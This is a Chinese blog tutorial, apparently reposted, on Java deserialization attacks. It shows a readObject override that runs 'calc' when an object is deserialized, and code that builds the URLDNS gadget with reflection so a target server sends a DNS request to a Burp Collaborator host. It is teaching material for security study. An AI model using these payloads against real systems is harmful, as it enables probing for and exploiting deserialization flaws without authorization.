【JavaSec】反序列化初探(配合URLDNS)

news2025/1/11 12:48:20

JavaSec反序列化初探(配合URLDNS)

文章目录

    • JavaSec反序列化初探(配合URLDNS)
      • 基本demo
      • Map入口类
      • Java反射

基本demo

构建一个demo

image-20240814204824282

实体类:

package bli_seri;

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person(){

    }
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化:

package bli_seri;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("happy", 40);

        //正常打印
        System.out.println(person);

        //序列化
//        serialize(person);
    }
}

反序列化:

package bli_seri;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person) unserialize("ser.bin");
        System.out.println(person);
    }
}

能反序列化成功 有一个要求

image-20240814213020625

这个实体类 必须实现这个接口

尝试去掉以后就会报错:

image-20240814213140442

image-20240814213718936

虽然这个接口是空的,但是必须要声明一下

注意点:当使用transient标记时 不会被序列化存储

image-20240814215010552

反序列化产生安全问题的原因:

服务端反序列化数据,其中传递类的readObject中的代码会自动执行,下面给个弹计算机的例子

在待反序列化的实体类中 重写readObject方法

代码如下:

package bli_seri;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    private transient String name;
    private int age;

    public Person(){

    }
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }


    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

有趣的点:

这里虽然说着重写readObject方法,但是为什么没有加Override的注解,这里的重写,真的是重写方法的意思吗

去看实体类中的奇怪接口Serializable的文档 看到我们readObject方法

翻译开头:在序列化和反序列化过程中需要特殊处理的类必须实现具有以下确切签名的特殊方法:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里所说的重写readObject()方法,并不是说重写父类中的方法,而是我们自定义个一个private修饰的readObject()方法,在反序列化的过程中检测到我们程序中存在private修饰的readObject()方法,就会去调用我们自定义的readObject()方法,如果没检测到,则将调用默认的defaultReadFields方法来读取目标类中的属性。

参考:https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yq7KG%3DmMizNDRO7bD

image-20240814234629152

成功弹计算器了


但是上面这种如此直白的 肯定一般不存在,我们都需要找一个入口类,下面介绍一个初级的入口类

三步走战略:

入口类Source => 调用链Gadget chain => 执行类 sink

Map入口类

在HashMap.java中存在重写

image-20240815002546275

看一个实例 URLDNS

效果:服务器接收到传入的值,然后反序列化后,收到对服务器发起的请求,证明服务器存在反序列化漏洞

先理解一下URL

image-20240815003827454

image-20240815003833561

实现了Serializable 可以进行反序列化 有希望!

去URL中有一个hashCode方法

image-20240816004652518

这个方法的 先验证hashCode是否为-1 如果不等于-1 直接返回hashCode值

否则进入handler中的hashCode方法

注意:这里的默认初始值是-1

image-20240816005108117

下面对这个序列化的过程 打个断点调试一下

put之前 hashCode还是-1

image-20240816210010228

我们的本意想法是,注入一个恶意的访问地址,然后序列化传入,在服务器反序列化解析时发起请求

只要执行 调用hash函数 => 此时hashcode还是-1 => 调用hashCode方法 => 发起DNS请求(误导)

image-20240816211638496

所以这里在序列化的时候,在本地就会请求一次,下面进行证明:

利用burp生成一个验证网址

image-20240817001552431

image-20240817001632691

序列化代码

package bli_seri;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("happy", 40);

        //创建一个hashMap 类型是URL 和 整数类
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        // -1
        hashMap.put(new URL("http://eo63b7ig3mijlg6o44imrl6mpdv4jt.burpcollaborator.net"),1);

        serialize(hashMap);

    }

}

image-20240817001740051

序列化成功捕获 但是不清楚为什么这么多

这个地方做一个避坑,一开始开代理了,导致burp一直收不到

但是执行结束后,hashCode变成其他值(一put 就改变)

image-20240816211005407

导致反序列化时 根本收不到请求

image-20240817002139870

那么如何才能成功利用呢

  1. 在put时不要发起请求,导致误导我们
  2. put之后吧hashCode改回-1 => 通过java的反射技术 改变已有对象的属性

Java反射

继上次 URLDNS的利用 想要继续操作 就要学习java反射

注意点:

四步走战略

  1. 反射就是操作Class
  2. 从原型Class里面实例化对象
  3. 获取类里面的属性
  4. 调用类里面的方法

实例:

package bli_seri;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person();
        System.out.println(person);


        //1. 反射就是操作Class
        //获取原型Class
        Class c = person.getClass();

        //2. 从原型Class 里面实例化对象  参数分别是对应值的类型 String int
        Constructor personconstructor = c.getConstructor(String.class, int.class);
        //赋值
        Person p = (Person) personconstructor.newInstance("newhappy",22);
        System.out.println(p);



        //3. 获取类里面属性  注意:这里getFields只能获得属性为public的
        //使用getDeclaredFields就会全部打印
        Field[] personfields = c.getDeclaredFields();
        for(Field f : personfields){
            System.out.println(f);
        }

        //修改值
        //public String name的值
        Field namefield = c.getField("name");
        namefield.set(p,"newnewhappy");
        System.out.println(p);
        //对于私有 private int age 可以设置
        Field agefield = c.getDeclaredField("age");
        agefield.setAccessible(true);
        agefield.set(p, 18);
        System.out.println(p);

        //4. 调用类里面的方法
        //遍历
        Method[] personMethods = c.getMethods();
        for(Method m : personMethods){
            System.out.println(m);
        }
        //单独public输出
//        Method actionmethod = c.getMethod("action", String.class);  //要表明接受什么类型的参数
//        actionmethod.invoke(p, "test");    //调用  参数:一个对象 一个参数(调用方法的参数)
        //私有输出
        Method actionmethod = c.getDeclaredMethod("action", String.class);  //要表明接受什么类型的参数
        actionmethod.setAccessible(true);
        actionmethod.invoke(p, "test");    //调用  参数:一个对象 一个参数(调用方法的参数)


    }
}

掌握了上面的技能,下面对URLDNS的那个进行修改

把URL的注册放到外面,这样在进入put前 我们需要把hashcode进行修改 在这直接插入语句

image-20240817104000231

可以看到new完之后 hashCode值为-1

image-20240817105020771

后面修改成功

image-20240817105130473

最后put结束 改为-1 目的时让反序列化时读取hashcode的值为-1 才能使得反序列化时发起请求

image-20240817105905871

实例代码:

package bli_seri;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("happy", 40);

        //创建一个hashMap 类型是URL 和 整数类
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        // -1 这里之所以发出请求 是因为put时 hashcode还是-1  所以应该先改hashcode
//        hashMap.put(new URL("http://eo63b7ig3mijlg6o44imrl6mpdv4jt.burpcollaborator.net"),1);

        //序列化时不应该收到请求
        URL url = new URL("http://ddu2067fsl7iafvnt37lgkvleck48t.burpcollaborator.net");   //此时 hashcode被修改 仍为-1  待会put时会发出请求   所以要修改
        Class c = url.getClass();
        Field hashcodeField = c.getDeclaredField("hashCode");
        hashcodeField.setAccessible(true);
        hashcodeField.set(url,666);
        hashMap.put(url, 1);


        //利用反射 修改值 把hashcode 改回 -1  这样反序列化时才能收到请求
        hashcodeField.set(url,-1);

        serialize(hashMap);

    }

}

总结一下URLDNS的原理:

在URL类中 有一个危险函数hashCode()

image-20240817112307727

如果hashCode不为-1 不会触发handler.hashCode

否则hashCode只要为-1 就会触发的话会导致

image-20240817112431363

这个地方发出请求

参考:

漏洞库:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

视频:https://www.bilibili.com/video/BV16h411z7o9/?p=2&spm_id_from=pageDriver&vd_source=a4aea8ec409c6984f7f8011ef9e58ac4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2051485.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Crawlab 分布式部署指南:从 Scrapy 项目到单文件的全流程详解

crawlab分布式部署 远程服务器环境搭建 同之前gerapy分布式部署一样 添加服务器防火墙端口 redis&#xff1a;6379mysql&#xff1a;3306mogodb&#xff1a;27017scrapyd&#xff1a;6800crawlab&#xff1a;8080 访问crawlab服务&#xff1a;47.93.10.129 连接远程数据库 …

Unity Dots学习 (一)

先学习怎么使用&#xff0c;再研究底层代码。Dots大家都有所耳闻。一直没时间研究&#xff0c;最近研究一下 看上图可知&#xff0c;哪怕是CPU的第三级缓存也比内存要快2-5倍。 资料&#xff1a; 《DOTS之路》第零节——前导课(1)——DOTS的5W1H问题_哔哩哔哩_bilibili 《DOT…

javaweb的新能源充电系统pf

TOC springboot339javaweb的新能源充电系统pf 第1章 绪论 1.1 课题背景 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。在互联网诞生之前&#xff0c;地域位置往往是人们思想上不可跨域…

SVG中的paint-order属性实现文字描边

过去只支持 SVG 元素 paint-order&#xff0c;表示绘制的顺序。 对于一个图形的绘制&#xff0c;顺序还是非常重要的。例如用SVG来绘制一个带边框的矩形 <style>rect{fill: #FFE8A3;stroke: #9747FF;stroke-width: 4;} </style><svg viewBox"0 0 300 30…

XSS-DOM

文章目录 源码SVG标签Dom-Clobbringtostring 源码 <script>const data decodeURIComponent(location.hash.substr(1));;const root document.createElement(div);root.innerHTML data;// 这里模拟了XSS过滤的过程&#xff0c;方法是移除所有属性&#xff0c;sanitize…

[数据集][图像分类]波色绝缘子缺失分类数据集1440张2类别

数据集类型&#xff1a;图像分类用&#xff0c;不可用于目标检测无标注文件 数据集格式&#xff1a;仅仅包含jpg图片&#xff0c;每个类别文件夹下面存放着对应图片 图片数量(jpg文件个数)&#xff1a;1440 分类类别数&#xff1a;2 类别名称:["missing","norma…

轻量高效的ControlNet开源 | ControlNetXt:支持主流生成架构,可与LoRA无缝集成!

当前的可控生成方法如ControlNet、Adapaters和ReferenceNet等通常需要大量额外的计算资源&#xff0c;尤其是对于视频生成&#xff0c;并且在训练中面临挑战或表现出较弱的控制力。 对此&#xff0c;港中文提出了一种轻量级可控模块&#xff1a;ControlNeXt&#xff0c;这是一…

PCIe Linux MRRS和MPS参数设置策略

1.概述 MPS&#xff08;Max Payload Size&#xff09;和MRRS&#xff08;Max Read Request Size&#xff09;共同影响PCIe总线的传输效率。如果MPS和MRRS设置的过小&#xff0c;传输相同长度的数据&#xff0c;需要更多的TLP报文&#xff0c;导致PCIe总线传输效率降低&#xf…

PHP多项目多场景排队叫号系统源码

&#x1f514;&#x1f4c8;多项目多场景排队叫号系统&#xff0c;让等待也高效有序&#xff01; 一、告别无序等待&#xff0c;智能排队新风尚 你是否曾在医院、银行或政务大厅等地方&#xff0c;面对冗长的队伍感到无奈&#xff1f;多项目多场景排队叫号系统&#xff0c;正…

Mybatis的分页,延迟加载和缓存

目录 分页&#xff1a; 方式一&#xff1a;利用 limit 实现物理分页 利用limit的关键字分页 方式二&#xff1a;RowBounds集合逻辑分页 方式三&#xff1a;插件分页 延迟加载和立即加载&#xff1a; 什么是立即加载&#xff1a; 什么是延迟加载 延迟加载的配置 缓存&a…

XSS漏洞洞讲解

目录 一、XSS漏洞的定义 1.什么是XSS漏洞&#xff1f; 二、XSS漏洞的类型 1.反射型 XSS 2.DOM型 XSS 3.存储型 XSS 三、实战案例演练 第1关 Ma Spaghet 第2关 Jefff 第3关 Ugandan Knuckles 第4关 Ricardo Milos 第5关 Ah Thats Hawt 第6关 Ligma ​第7关 Mafia …

c++ 使用Tesseract5.0 识别图片文字示例

Tesseract5.0相对于旧版本的程序&#xff0c;识别精准度会提升不少&#xff0c;如下&#xff1a; 1、示例1&#xff1a; 图片&#xff1a; 结果&#xff1a; 2、示例2&#xff1a; 图片&#xff1a; 结果&#xff1a; c代码如下&#xff1a; #include <iostream> #in…

C++ 设计模式——建造者模式

建造者模式 建造者模式组成部分建造者模式使用步骤1. 定义产品类2. 创建具体产品类3. 创建建造者接口4. 实现具体建造者5. 创建指挥者类6. 客户端代码 建造者模式 UML 图建造者模式 UML 图解析建造者模式的优缺点建造者模式的适用场景完整代码 建造者模式 建造者模式&#xff…

Hogan 阻抗控制的理解

机器人阻抗控制是一种基于力的控制方法,它通过调节机器人在受到外部力作用时所表现出的抵抗能力(即阻抗),来实现与环境的良好交互。以下是对机器人阻抗控制的详细理解: 一、阻抗控制的基本原理 阻抗控制的核心思想是通过模拟物体的力学特性(如刚度、阻尼和质量),使机…

定时器处理按键抖动

一、按键的抖动 1.按键的定义和原因 按键抖动是由于‌机械按键在闭合和断开时&#xff0c;由于触点的弹性作用&#xff0c;会产生一系列的抖动现象。这种抖动对于人类来说几乎感觉不到&#xff0c;但对‌单片机来说&#xff0c;却是一个可以感应到的过程&#xff0c;且处理时…

SQL - 设计数据库

数据建模 数据建模就是为要存储在数据库中的数据创建模型的过程 步骤 1.理解和分析业务需求 (收集信息) 收集需求&#xff0c;明确业务流程&#xff0c;定义数据需求&#xff0c;分析业务规则 2.构建业务的概念模型 (识别和表示业务中实体、事务或概念以及它们之间的关系) 识别…

APP支付宝授权获取code uniapp

1.点击使用plus.runtime跳转打开支付宝 //打开支付宝授权&#xff0c;在支付宝APP中授权后会在支付宝中跳转到你填写的h5地址//urls是授权地址可以后端拼接也可以前端写死 //以下是一个拼接示例&#xff0c;需修改app_id的值和redirect_uri的值即可 //app_id是商户的APPID&…

WorkPlus-为用户提供IM即时通讯和实时音视频通信本地化服务

WorkPlus作为一家领先的企业级通讯解决方案提供商&#xff0c;为用户提供了本地化服务&#xff0c;以满足IM即时通讯和实时音视频通信的需求。本文将深入探讨WorkPlus本地化服务的重要性以及其为用户提供的IM即时通讯和实时音视频通信的解决方案。 一、本地化服务的意义 低延迟…

【动态规划、dp】[CSP-J 2022] 上升点列 题解

题目描述 在一个二维平面内&#xff0c;给定 n n n 个整数点 ( x i , y i ) (x_i, y_i) (xi​,yi​)&#xff0c;此外你还可以自由添加 k k k 个整数点。 你在自由添加 k k k 个点后&#xff0c;还需要从 n k n k nk 个点中选出若干个整数点并组成一个序列&#xff0c…

从0开始搭建vue + flask 旅游景点数据分析系统(十三)vue + flask 图片上传、用户头像更改

项目是基于我的博文&#xff1a;vue flask 旅游景点数据分析系统 基础上做的&#xff0c;可以参考之前的博客文章。 1 前端修改 主要是修改Profile.vue <!-- 头像上传 --><el-form-item label"头像"><el-uploadclass""action"/api/…